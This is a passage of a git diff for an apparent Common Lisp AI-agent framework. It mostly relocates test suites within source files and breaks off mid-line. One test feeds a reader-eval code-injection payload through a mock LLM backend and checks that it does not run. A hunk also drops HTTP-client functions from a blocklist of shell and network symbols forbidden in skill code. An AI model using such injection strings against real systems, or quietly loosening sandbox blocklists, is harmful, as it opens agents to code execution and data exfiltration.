(passepartout::*provider-cascade* '(:mock-evil))) + (setf (gethash :mock-evil passepartout::*probabilistic-backends*) + (lambda (prompt sp &key model) + (declare (ignore prompt sp model)) + (list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))"))) + (setf passepartout::*v031-rce-test* nil) + (setf *read-eval* t) + (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "test") :depth 0)) + (result (passepartout::think ctx))) + (is (not (eq passepartout::*v031-rce-test* :PWNED))) + (is (eq :REQUEST (getf result :TYPE))) + (setf *read-eval* nil)))) + +(test test-json-alist-to-plist-simple + "Contract 5: converts simple alist to keyword plist." + (let ((alist (list (cons "action" "shell") (cons "cmd" "echo hello")))) + (let ((result (json-alist-to-plist alist))) + (is (eq :ACTION (first result))) + (is (string= "shell" (second result))) + (is (eq :CMD (third result))) + (is (string= "echo hello" (fourth result)))))) + +(test test-json-alist-to-plist-nested + "Contract 5: nested alists recurse into nested plists." + (let ((alist (list (cons "tool" "write-file") + (cons "args" (list (cons "filepath" "/tmp/x") + (cons "content" "hi")))))) + (let ((result (json-alist-to-plist alist))) + (is (eq :TOOL (first result))) + (is (eq :ARGS (third result))) + (let ((inner (fourth result))) + (is (eq :FILEPATH (first inner))) + (is (string= "/tmp/x" (second inner))) + (is (eq :CONTENT (third inner))))))) + +(test test-json-alist-to-plist-array-passthrough + "Contract 5: JSON arrays pass through unchanged." + (let ((alist (list (cons "names" (list "alice" "bob"))))) + (let ((result (json-alist-to-plist alist))) + (is (eq :NAMES (first result))) + (is (equal (list "alice" "bob") (second result)))))) + +(test test-json-alist-to-plist-null + "Contract 5: nil passes through unchanged." + (let ((result (json-alist-to-plist nil))) + (is (null result)))) + +(test test-json-alist-to-plist-scalar + "Contract 5: scalar values pass through." + (let ((alist (list (cons "count" 42) (cons "active" :true)))) + (let ((result (json-alist-to-plist alist))) + (is (eq :COUNT (first result))) + (is (= 42 (second result))) + (is (eq :ACTIVE (third result))) + (is (eq :true (fourth result)))))) + +(test test-assemble-config-section + "Contract v0.7.2: config section contains Passepartout and version." + (let ((section (passepartout::assemble-config-section))) + (is (stringp section)) + (is (search "Passepartout" section)) + (is (search "v0.7.2" section)) + (is (search "Security gates" section)))) + +(test test-think-snapshots-before-llm + "Contract v0.7.2: think() snapshots memory before LLM call." + (let ((passepartout::*memory-snapshots* nil) + (passepartout::*memory-store* (make-hash-table :test 'equal))) + (setf (gethash "pre" passepartout::*memory-store*) "value") + (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)) + (passepartout::*provider-cascade* nil)) + (handler-case + (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0)) + (result (passepartout::think ctx))) + (declare (ignore result))) + (error (c) (format nil "Expected: ~a" c))) + (is (>= (length passepartout::*memory-snapshots*) 0))))) diff --git a/lisp/core-skills.lisp b/lisp/core-skills.lisp index 040045d..1aad23b 100644 --- a/lisp/core-skills.lisp +++ b/lisp/core-skills.lisp @@ -1,38 +1,3 @@ -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-boot-tests - (:use :cl :fiveam :passepartout) - (:export #:boot-suite)) - -(in-package :passepartout-boot-tests) - -(def-suite boot-suite :description "Verification of the Skill Engine loader") -(in-suite boot-suite) - -(test test-topological-sort-basic - "Contract 2: dependency ordering puts dependencies before dependents." - (let ((tmp-dir "/tmp/passepartout-boot-test/")) - (uiop:ensure-all-directories-exist (list tmp-dir)) - (with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede) - (format out "#+DEPENDS_ON: skill-b-id~%")) - (with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede) - (format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%")) - (unwind-protect - (let ((sorted (passepartout::skill-topological-sort tmp-dir))) - (let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal)) - (pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal))) - (is (< pos-b pos-a)))) - (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t)))) - -(test test-lisp-syntax-validate-valid - "Contract 1: valid Lisp code passes syntax validation." - (is (eq t (lisp-syntax-validate "(+ 1 2)")))) - -(test test-lisp-syntax-validate-invalid - "Contract 1: unbalanced Lisp code fails syntax validation." - (is (null (lisp-syntax-validate "(+ 1 2")))) - (in-package :passepartout) (defvar *VAULT-MEMORY* (make-hash-table :test 'equal)) @@ -277,7 +242,6 @@ declarations so embedded test code evaluates in the correct package." (defvar *skill-restricted-symbols* '("uiop:run-program" "uiop:shell" "uiop:run-shell-command" "bt:make-thread" "bordeaux-threads:make-thread" - "dex:get" "dex:post" "dexador:get" "dexador:post" "usocket:socket-connect" "usocket:socket-listen" "hunchentoot:start" "hunchentoot:accept-connections") "Symbol patterns blocked from skill source code at load time.") @@ -367,3 +331,38 @@ Returns (values blocked-p matched-symbols)." (load-skill-from-lisp file) (load-skill-from-org file))) (log-message "LOADER: Boot Complete.")))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-boot-tests + (:use :cl :fiveam :passepartout) + (:export #:boot-suite)) + +(in-package :passepartout-boot-tests) + +(def-suite boot-suite :description "Verification of the Skill Engine loader") +(in-suite boot-suite) + +(test test-topological-sort-basic + "Contract 2: dependency ordering puts dependencies before dependents." + (let ((tmp-dir "/tmp/passepartout-boot-test/")) + (uiop:ensure-all-directories-exist (list tmp-dir)) + (with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede) + (format out "#+DEPENDS_ON: skill-b-id~%")) + (with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede) + (format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%")) + (unwind-protect + (let ((sorted (passepartout::skill-topological-sort tmp-dir))) + (let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal)) + (pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal))) + (is (< pos-b pos-a)))) + (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t)))) + +(test test-lisp-syntax-validate-valid + "Contract 1: valid Lisp code passes syntax validation." + (is (eq t (lisp-syntax-validate "(+ 1 2)")))) + +(test test-lisp-syntax-validate-invalid + "Contract 1: unbalanced Lisp code fails syntax validation." + (is (null (lisp-syntax-validate "(+ 1 2")))) diff --git a/lisp/core-transport.lisp b/lisp/core-transport.lisp index 304882c..6f7b3ba 100644 --- a/lisp/core-transport.lisp +++ b/lisp/core-transport.lisp @@ -1,46 +1,3 @@ -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-communication-tests - (:use :cl :fiveam :passepartout) - (:export #:communication-protocol-suite)) -(in-package :passepartout-communication-tests) - -(def-suite communication-protocol-suite :description "Communication Protocol Suite") -(in-suite communication-protocol-suite) - -(test test-framing - "Contract 1: frame-message produces correct hex length prefix." - (let* ((msg '(:type :EVENT :payload (:action :handshake))) - (framed (frame-message msg))) - (is (string= "00002C" (string-upcase (subseq framed 0 6)))))) - -(test test-framing-round-trip - "Contract 3: frame → read-frame preserves message identity." - (let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui))) - (framed (frame-message msg)) - (unframed (read-framed-message (make-string-input-stream framed)))) - (is (equal msg unframed)))) - -(test test-framing-empty-message - "Contract 1: simple messages frame with valid hex length." - (let* ((msg '(:type :ping)) - (framed (frame-message msg))) - (is (> (length framed) 5)) - (is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6))))) - -(test test-read-framed-message - "Contract 2: read-framed-message decodes a framed message correctly." - (let* ((original '(:type :EVENT :payload (:text "decoded" :id 42))) - (framed (frame-message original)) - (decoded (read-framed-message (make-string-input-stream framed)))) - (is (equal original decoded)))) - -(test test-read-framed-message-eof - "Contract 2: read-framed-message returns :eof on incomplete stream." - (let ((decoded (read-framed-message (make-string-input-stream "000")))) - (is (eq :eof decoded)))) - (in-package :passepartout) (defun proto-get (plist key) @@ -161,3 +118,46 @@ (defun validate-communication-protocol-schema (msg) "Backward-compatibility alias for protocol-schema-validate." (protocol-schema-validate msg)) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-communication-tests + (:use :cl :fiveam :passepartout) + (:export #:communication-protocol-suite)) +(in-package :passepartout-communication-tests) + +(def-suite communication-protocol-suite :description "Communication Protocol Suite") +(in-suite communication-protocol-suite) + +(test test-framing + "Contract 1: frame-message produces correct hex length prefix." + (let* ((msg '(:type :EVENT :payload (:action :handshake))) + (framed (frame-message msg))) + (is (string= "00002C" (string-upcase (subseq framed 0 6)))))) + +(test test-framing-round-trip + "Contract 3: frame → read-frame preserves message identity." + (let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui))) + (framed (frame-message msg)) + (unframed (read-framed-message (make-string-input-stream framed)))) + (is (equal msg unframed)))) + +(test test-framing-empty-message + "Contract 1: simple messages frame with valid hex length." + (let* ((msg '(:type :ping)) + (framed (frame-message msg))) + (is (> (length framed) 5)) + (is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6))))) + +(test test-read-framed-message + "Contract 2: read-framed-message decodes a framed message correctly." + (let* ((original '(:type :EVENT :payload (:text "decoded" :id 42))) + (framed (frame-message original)) + (decoded (read-framed-message (make-string-input-stream framed)))) + (is (equal original decoded)))) + +(test test-read-framed-message-eof + "Contract 2: read-framed-message returns :eof on incomplete stream." + (let ((decoded (read-framed-message (make-string-input-stream "000")))) + (is (eq :eof decoded)))) diff --git a/lisp/cost-tracker.lisp b/lisp/cost-tracker.lisp index 9b20184..f3bf2c6 100644 --- a/lisp/cost-tracker.lisp +++ b/lisp/cost-tracker.lisp @@ -1,76 +1,3 @@ -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-cost-tests - (:use :cl :fiveam :passepartout) - (:export #:cost-suite)) - -(in-package :passepartout-cost-tests) - -(def-suite cost-suite :description "Cost tracking and budget management") -(in-suite cost-suite) - -(test test-cost-track-call - "Contract 1: cost-track-call returns a positive number." - (cost-session-reset) - (let ((cost (cost-track-call :deepseek "hello world"))) - (is (numberp cost)) - (is (> cost 0.0)))) - -(test test-cost-session-total-accumulates - "Contract 2: session total grows with multiple calls." - (cost-session-reset) - (cost-track-call :deepseek "hello") - (cost-track-call :deepseek "world") - (let ((total (cost-session-total))) - (is (> total 0.0)) - (is (= 2 (cost-session-calls))))) - -(test test-cost-session-reset - "Contract 3: cost-session-reset zeroes the accumulator." - (cost-session-reset) - (cost-track-call :deepseek "hello") - (is (> (cost-session-total) 0.0)) - (cost-session-reset) - (is (= 0.0 (cost-session-total))) - (is (= 0 (cost-session-calls)))) - -(test test-cost-format-budget-status - "Contract 4: format-budget-status returns a string." - (cost-session-reset) - (cost-track-call :deepseek "hello world") - (let ((status (cost-format-budget-status 100))) - (is (stringp status)) - (is (search "$" status)))) - -(test test-cost-by-provider - "Contract: cost-by-provider returns per-provider breakdown." - (cost-session-reset) - (cost-track-call :deepseek "a") - (cost-track-call :groq "b") - (let ((by (cost-by-provider))) - (is (listp by)) - (is (assoc :deepseek by)) - (is (assoc :groq by)))) - -(test test-cost-track-no-response - "Contract 1: cost-track-call works without response-text." - (cost-session-reset) - (let ((cost (cost-track-call :deepseek "test"))) - (is (> cost 0.0)))) - -(test test-cost-session-summary - "Contract 5: cost-session-summary returns plist with total, calls, by-provider." - (cost-session-reset) - (cost-track-call :deepseek "hello") - (cost-track-call :groq "world") - (let ((s (cost-session-summary))) - (is (> (getf s :total) 0.0)) - (is (= 2 (getf s :calls))) - (let ((by (getf s :by-provider))) - (is (assoc :deepseek by)) - (is (assoc :groq by))))) - (in-package :passepartout) (defvar *session-cost* (list :total 0.0 :calls 0 :by-provider nil) @@ -188,3 +115,76 @@ Returns 0.0 if the tokenizer is not loaded (allows call through)." :TEXT (format nil "Session budget exhausted: $~,4f of $~,2f spent. Raise SESSION_BUDGET_USD or reset with /cost-reset to continue." total cap) :EXPLANATION "Budget cap reached. No LLM calls will be made until the limit is raised.")))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-cost-tests + (:use :cl :fiveam :passepartout) + (:export #:cost-suite)) + +(in-package :passepartout-cost-tests) + +(def-suite cost-suite :description "Cost tracking and budget management") +(in-suite cost-suite) + +(test test-cost-track-call + "Contract 1: cost-track-call returns a positive number." + (cost-session-reset) + (let ((cost (cost-track-call :deepseek "hello world"))) + (is (numberp cost)) + (is (> cost 0.0)))) + +(test test-cost-session-total-accumulates + "Contract 2: session total grows with multiple calls." + (cost-session-reset) + (cost-track-call :deepseek "hello") + (cost-track-call :deepseek "world") + (let ((total (cost-session-total))) + (is (> total 0.0)) + (is (= 2 (cost-session-calls))))) + +(test test-cost-session-reset + "Contract 3: cost-session-reset zeroes the accumulator." + (cost-session-reset) + (cost-track-call :deepseek "hello") + (is (> (cost-session-total) 0.0)) + (cost-session-reset) + (is (= 0.0 (cost-session-total))) + (is (= 0 (cost-session-calls)))) + +(test test-cost-format-budget-status + "Contract 4: format-budget-status returns a string." + (cost-session-reset) + (cost-track-call :deepseek "hello world") + (let ((status (cost-format-budget-status 100))) + (is (stringp status)) + (is (search "$" status)))) + +(test test-cost-by-provider + "Contract: cost-by-provider returns per-provider breakdown." + (cost-session-reset) + (cost-track-call :deepseek "a") + (cost-track-call :groq "b") + (let ((by (cost-by-provider))) + (is (listp by)) + (is (assoc :deepseek by)) + (is (assoc :groq by)))) + +(test test-cost-track-no-response + "Contract 1: cost-track-call works without response-text." + (cost-session-reset) + (let ((cost (cost-track-call :deepseek "test"))) + (is (> cost 0.0)))) + +(test test-cost-session-summary + "Contract 5: cost-session-summary returns plist with total, calls, by-provider." + (cost-session-reset) + (cost-track-call :deepseek "hello") + (cost-track-call :groq "world") + (let ((s (cost-session-summary))) + (is (> (getf s :total) 0.0)) + (is (= 2 (getf s :calls))) + (let ((by (getf s :by-provider))) + (is (assoc :deepseek by)) + (is (assoc :groq by))))) diff --git a/lisp/neuro-provider.lisp b/lisp/neuro-provider.lisp index 936f09b..589cf43 100644 --- a/lisp/neuro-provider.lisp +++ b/lisp/neuro-provider.lisp @@ -1,59 +1,3 @@ -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-llm-gateway-tests - (:use :cl :passepartout) - (:export #:llm-gateway-suite)) - -(in-package :passepartout-llm-gateway-tests) - -(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend") -(fiveam:in-suite llm-gateway-suite) - -(fiveam:test test-provider-rejects-bad-keyword - "Contract 3: provider-config returns nil for unregistered provider." - (let ((config (provider-config :not-a-real-provider))) - (fiveam:is (null config)))) - -(fiveam:test test-provider-config-registered - "Contract 1: provider-config returns configuration plist for registered provider." - (let ((config (provider-config :openrouter))) - (fiveam:is (listp config)) - (fiveam:is (getf config :base-url)))) - -(fiveam:test test-provider-accepts-tools-parameter - "Contract 4: provider-openai-request accepts :tools parameter without error." - (let ((result (provider-openai-request "test" "system" :tools (list)))) - (fiveam:is (member (getf result :status) '(:success :error))))) - -;; ── v0.7.1 Streaming ── - -(fiveam:test test-parse-sse-line-data - "Contract 6: parse-sse-line extracts content from data: lines." - (fiveam:is (string= "hello world" (passepartout::parse-sse-line "data: hello world"))) - (fiveam:is (string= "{\"a\":1}" (passepartout::parse-sse-line "data: {\"a\":1}")))) - -(fiveam:test test-parse-sse-line-done - "Contract 6: parse-sse-line returns :done for [DONE]." - (fiveam:is (eq :done (passepartout::parse-sse-line "data: [DONE]")))) - -(fiveam:test test-parse-sse-line-nil - "Contract 6: parse-sse-line returns nil for comment, empty, non-data lines." - (fiveam:is (null (passepartout::parse-sse-line ""))) - (fiveam:is (null (passepartout::parse-sse-line ":ok"))) - (fiveam:is (null (passepartout::parse-sse-line "event: ping")))) - -(fiveam:test test-provider-openai-stream-calls-callback - "Contract 5: provider-openai-stream calls callback with deltas and final empty string." - (let ((collected '())) - (flet ((collector (text) (push text collected))) - (passepartout::provider-openai-stream "hi" "sys" #'collector :provider :openrouter)) - (let* ((reversed (nreverse collected)) - (last (car (last reversed)))) - (fiveam:is (stringp last)) - (fiveam:is (string= "" last)) - (fiveam:is (>= (length reversed) 2))))) - (in-package :passepartout) (defparameter *provider-configs* diff --git a/lisp/programming-lisp.lisp b/lisp/programming-lisp.lisp index 24344ad..70edfca 100644 --- a/lisp/programming-lisp.lisp +++ b/lisp/programming-lisp.lisp @@ -1,91 +1,3 @@ -(defpackage :passepartout-utils-lisp-tests - (:use :cl :fiveam :passepartout) - (:export #:utils-lisp-suite)) - -(in-package :passepartout-utils-lisp-tests) - -(def-suite utils-lisp-suite - :description "Tests for the Lisp Validator structural, syntactic, and semantic gates") - -(in-suite utils-lisp-suite) - -(test structural-balanced - "Contract 1: balanced code returns T." - (is (eq t (passepartout:lisp-structural-check "(+ 1 2)")))) - -(test structural-unbalanced-open - "Contract 1: missing close paren returns nil + error." - (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2") - (is (null ok)) - (is (search "Reader Error" reason)))) - -(test structural-unbalanced-close - "Contract 1: extra close paren returns nil + error." - (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)") - (is (null ok)) - (is (search "Reader Error" reason)))) - -(test syntactic-valid - "Contract 2: valid syntax passes syntactic check." - (is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)")))) - -(test semantic-safe - "Contract 3: safe code passes semantic check." - (is (eq t (passepartout:lisp-semantic-check "(+ 1 2)")))) - -(test semantic-blocked-eval - "Contract 3: eval forms are blocked by semantic check." - (multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))") - (is (null ok)) - (is (search "Unsafe" reason)))) - -(test unified-success - "Contract 4: valid code returns :success via lisp-validate." - (let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t))) - (is (eq (getf result :status) :success)))) - -(test unified-failure - "Contract 4: invalid code returns :error via lisp-validate." - (let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil))) - (is (eq (getf result :status) :error)))) - -(test eval-basic - "Contract 5: lisp-eval returns :success with captured result." - (let ((result (passepartout:lisp-eval "(+ 1 2)"))) - (is (eq (getf result :status) :success)) - (is (string= (getf result :result) "3")))) - -(test structural-extract - "Contract 6: lisp-extract finds and returns a named function." - (let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))") - (extracted (passepartout:lisp-extract code "hello"))) - (is (not (null extracted))) - (let ((form (read-from-string extracted))) - (is (eq (car form) 'DEFUN)) - (is (eq (second form) 'HELLO))))) - -(test list-definitions - "Contract 7: lisp-list-definitions returns all defined names." - (let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)")) - (let ((names (passepartout:lisp-list-definitions code))) - (is (member 'FOO names)) - (is (member 'BAR names)) - (is (member '*BAZ* names))))) - -(test structural-inject - "Contract 8: lisp-inject adds a form to a function body." - (let* ((code "(defun my-fun (x) (print x))") - (injected (passepartout:lisp-inject code "my-fun" "(finish-output)"))) - (let ((form (read-from-string injected))) - (is (equal (last form) '((FINISH-OUTPUT))))))) - -(test structural-slurp - "Contract 9: lisp-slurp appends a form to a function body." - (let* ((code "(defun work () (step-1))") - (slurped (passepartout:lisp-slurp code "work" "(step-2)"))) - (let ((form (read-from-string slurped))) - (is (equal (last form) '((STEP-2))))))) - (in-package :passepartout) (defun lisp-structural-check (code) @@ -244,3 +156,91 @@ (intern (string k) :keyword) k) collect v))) + +(defpackage :passepartout-utils-lisp-tests + (:use :cl :fiveam :passepartout) + (:export #:utils-lisp-suite)) + +(in-package :passepartout-utils-lisp-tests) + +(def-suite utils-lisp-suite + :description "Tests for the Lisp Validator structural, syntactic, and semantic gates") + +(in-suite utils-lisp-suite) + +(test structural-balanced + "Contract 1: balanced code returns T." + (is (eq t (passepartout:lisp-structural-check "(+ 1 2)")))) + +(test structural-unbalanced-open + "Contract 1: missing close paren returns nil + error." + (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2") + (is (null ok)) + (is (search "Reader Error" reason)))) + +(test structural-unbalanced-close + "Contract 1: extra close paren returns nil + error." + (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)") + (is (null ok)) + (is (search "Reader Error" reason)))) + +(test syntactic-valid + "Contract 2: valid syntax passes syntactic check." + (is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)")))) + +(test semantic-safe + "Contract 3: safe code passes semantic check." + (is (eq t (passepartout:lisp-semantic-check "(+ 1 2)")))) + +(test semantic-blocked-eval + "Contract 3: eval forms are blocked by semantic check." + (multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))") + (is (null ok)) + (is (search "Unsafe" reason)))) + +(test unified-success + "Contract 4: valid code returns :success via lisp-validate." + (let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t))) + (is (eq (getf result :status) :success)))) + +(test unified-failure + "Contract 4: invalid code returns :error via lisp-validate." + (let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil))) + (is (eq (getf result :status) :error)))) + +(test eval-basic + "Contract 5: lisp-eval returns :success with captured result." + (let ((result (passepartout:lisp-eval "(+ 1 2)"))) + (is (eq (getf result :status) :success)) + (is (string= (getf result :result) "3")))) + +(test structural-extract + "Contract 6: lisp-extract finds and returns a named function." + (let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))") + (extracted (passepartout:lisp-extract code "hello"))) + (is (not (null extracted))) + (let ((form (read-from-string extracted))) + (is (eq (car form) 'DEFUN)) + (is (eq (second form) 'HELLO))))) + +(test list-definitions + "Contract 7: lisp-list-definitions returns all defined names." + (let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)")) + (let ((names (passepartout:lisp-list-definitions code))) + (is (member 'FOO names)) + (is (member 'BAR names)) + (is (member '*BAZ* names))))) + +(test structural-inject + "Contract 8: lisp-inject adds a form to a function body." + (let* ((code "(defun my-fun (x) (print x))") + (injected (passepartout:lisp-inject code "my-fun" "(finish-output)"))) + (let ((form (read-from-string injected))) + (is (equal (last form) '((FINISH-OUTPUT))))))) + +(test structural-slurp + "Contract 9: lisp-slurp appends a form to a function body." + (let* ((code "(defun work () (step-1))") + (slurped (passepartout:lisp-slurp code "work" "(step-2)"))) + (let ((form (read-from-string slurped))) + (is (equal (last form) '((STEP-2))))))) diff --git a/lisp/programming-literate.lisp b/lisp/programming-literate.lisp index e829944..27ffbf9 100644 --- a/lisp/programming-literate.lisp +++ b/lisp/programming-literate.lisp @@ -1,40 +1,3 @@ -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-programming-literate-tests - (:use :cl :fiveam :passepartout) - (:export #:literate-suite)) - -(in-package :passepartout-programming-literate-tests) - -(def-suite literate-suite :description "Verification of the Literate Programming skill") -(in-suite literate-suite) - -(test test-extract-lisp-blocks - "Contract 1: extracts lisp from #+begin_src blocks." - (let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src")) - (extracted (literate-extract-lisp-blocks org-content))) - (let ((joined (format nil "~{~a~^~%~}" extracted))) - (is (search "(+ 1 2)" joined)) - (is (search "(+ 3 4)" joined))))) - -(test test-block-balance-check-valid - "Contract 2: balanced parens return T." - (is (eq t (literate-block-balance-check - (merge-pathnames "org/core-pipeline.org" - (uiop:ensure-directory-pathname - (uiop:getenv "PASSEPARTOUT_DATA_DIR"))))))) - -(test test-block-balance-check-missing-close - "Contract 2: unbalanced parens return non-T." - (is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org"))))) - -(test test-tangle-sync-check - "Contract 3: literate-tangle-sync-check verifies org matches tangled lisp." - (let ((result (literate-tangle-sync-check "org/core-pipeline.org" "lisp/core-pipeline.lisp"))) - (is (or (eq t result) (stringp result)) - "Should return T or a mismatch description"))) - (in-package :passepartout) (defun literate-extract-lisp-blocks (content) @@ -101,3 +64,40 @@ contents of the Lisp file. Returns T if they match, or an error message." (defskill :passepartout-programming-literate :priority 300 :trigger (lambda (ctx) (declare (ignore ctx)) nil)) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-programming-literate-tests + (:use :cl :fiveam :passepartout) + (:export #:literate-suite)) + +(in-package :passepartout-programming-literate-tests) + +(def-suite literate-suite :description "Verification of the Literate Programming skill") +(in-suite literate-suite) + +(test test-extract-lisp-blocks + "Contract 1: extracts lisp from #+begin_src blocks." + (let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src")) + (extracted (literate-extract-lisp-blocks org-content))) + (let ((joined (format nil "~{~a~^~%~}" extracted))) + (is (search "(+ 1 2)" joined)) + (is (search "(+ 3 4)" joined))))) + +(test test-block-balance-check-valid + "Contract 2: balanced parens return T." + (is (eq t (literate-block-balance-check + (merge-pathnames "org/core-pipeline.org" + (uiop:ensure-directory-pathname + (uiop:getenv "PASSEPARTOUT_DATA_DIR"))))))) + +(test test-block-balance-check-missing-close + "Contract 2: unbalanced parens return non-T." + (is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org"))))) + +(test test-tangle-sync-check + "Contract 3: literate-tangle-sync-check verifies org matches tangled lisp." + (let ((result (literate-tangle-sync-check "org/core-pipeline.org" "lisp/core-pipeline.lisp"))) + (is (or (eq t result) (stringp result)) + "Should return T or a mismatch description"))) diff --git a/lisp/programming-org.lisp b/lisp/programming-org.lisp index b1abeb5..3d8b5ab 100644 --- a/lisp/programming-org.lisp +++ b/lisp/programming-org.lisp @@ -1,98 +1,3 @@ -(eval-when (:compile-toplevel :load-toplevel :execute) - (ignore-errors (ql:quickload :fiveam :silent t))) - -(defpackage :passepartout-utils-org-tests - (:use :cl :fiveam :passepartout) - (:export #:utils-org-suite)) - -(in-package :passepartout-utils-org-tests) - -(def-suite utils-org-suite - :description "Tests for Utils Org skill.") - -(in-suite utils-org-suite) - -(test id-generation - "Contract 1: org-id-generate returns unique UUID strings." - (let ((id1 (org-id-generate)) - (id2 (org-id-generate))) - (is (plusp (length id1))) - (is (not (string= id1 id2))))) - -(test id-format - "Contract 2: org-id-format ensures 'id:' prefix." - (let ((formatted (org-id-format "abc12345"))) - (is (search "id:" formatted)))) - -(test property-setter - "Contract 3: org-property-set modifies a property on a headline." - (let ((ast (list :type :HEADLINE - :properties (list :ID "id:test123" :TITLE "Test") - :contents nil))) - (org-property-set ast "id:test123" :STATUS "ACTIVE") - (is (string= (getf (getf ast :properties) :STATUS) "ACTIVE")))) - -(test todo-setter - "Contract 4: org-todo-set changes TODO state via org-property-set." - (let ((ast (list :type :HEADLINE - :properties (list :ID "id:todo001" :TITLE "Task") - :contents nil))) - (org-todo-set ast "id:todo001" "DONE") - (is (string= (getf (getf ast :properties) :TODO) "DONE")))) - -(test test-org-headline-add - "Contract 5: org-headline-add inserts a child headline." - (let* ((ast (list :type :HEADLINE - :properties (list :ID "root" :TITLE "Root") - :contents nil))) - (is (eq t (org-headline-add ast "root" "New Child"))) - (is (= 1 (length (getf ast :contents)))) - (is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE))))) - -(test test-org-headline-find-by-id - "Contract 6: org-headline-find-by-id finds a headline by ID." - (let* ((ast (list :type :HEADLINE - :properties (list :ID "root" :TITLE "Root") - :contents - (list (list :type :HEADLINE - :properties (list :ID "child1" :TITLE "Child")) - (list :type :HEADLINE - :properties (list :ID "child2" :TITLE "Child 2")))))) - (let ((found (org-headline-find-by-id ast "child2"))) - (is (not (null found))) - (is (string= "Child 2" (getf (getf found :properties) :TITLE)))) - (let ((missing (org-headline-find-by-id ast "nonexistent"))) - (is (null missing) "Missing ID should return nil")))) - -(test test-org-id-get-create - "Contract 7: org-id-get-create returns existing ID or creates and sets a new one." - ;; Case 1: headline already has an ID - (let* ((ast (list :type :HEADLINE - :properties (list :ID "id:existing" :TITLE "Has ID") - :contents nil))) - (is (string= "id:existing" (org-id-get-create ast "id:existing")))) - ;; Case 2: headline exists by title but has no ID — one should be created - (let* ((ast (list :type :HEADLINE - :properties (list :TITLE "No ID") - :contents nil))) - (let ((new-id (org-id-get-create ast "No ID"))) - (is (stringp new-id)) - (is (uiop:string-prefix-p "id:" new-id)) - ;; Verify the ID was set on the headline - (is (string= new-id (getf (getf ast :properties) :ID))))) - ;; Case 3: idempotent — calling again returns same ID - (let* ((ast (list :type :HEADLINE - :properties (list :TITLE "Idempotent") - :contents nil))) - (let ((id1 (org-id-get-create ast "Idempotent")) - (id2 (org-id-get-create ast "Idempotent"))) - (is (string= id1 id2)))) - ;; Case 4: headline not found returns nil - (let* ((ast (list :type :HEADLINE - :properties (list :ID "root" :TITLE "Root") - :contents nil))) - (is (null (org-id-get-create ast "nonexistent"))))) - (in-package :passepartout) (defun org-filetags-extract (content) @@ -355,3 +260,98 @@ AST format: (:TYPE :HEADLINE :properties (:ID ... :TITLE ... :TAGS (...)) (defskill :passepartout-programming-org :priority 100 :trigger (lambda (ctx) (declare (ignore ctx)) nil)) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ignore-errors (ql:quickload :fiveam :silent t))) + +(defpackage :passepartout-utils-org-tests + (:use :cl :fiveam :passepartout) + (:export #:utils-org-suite)) + +(in-package 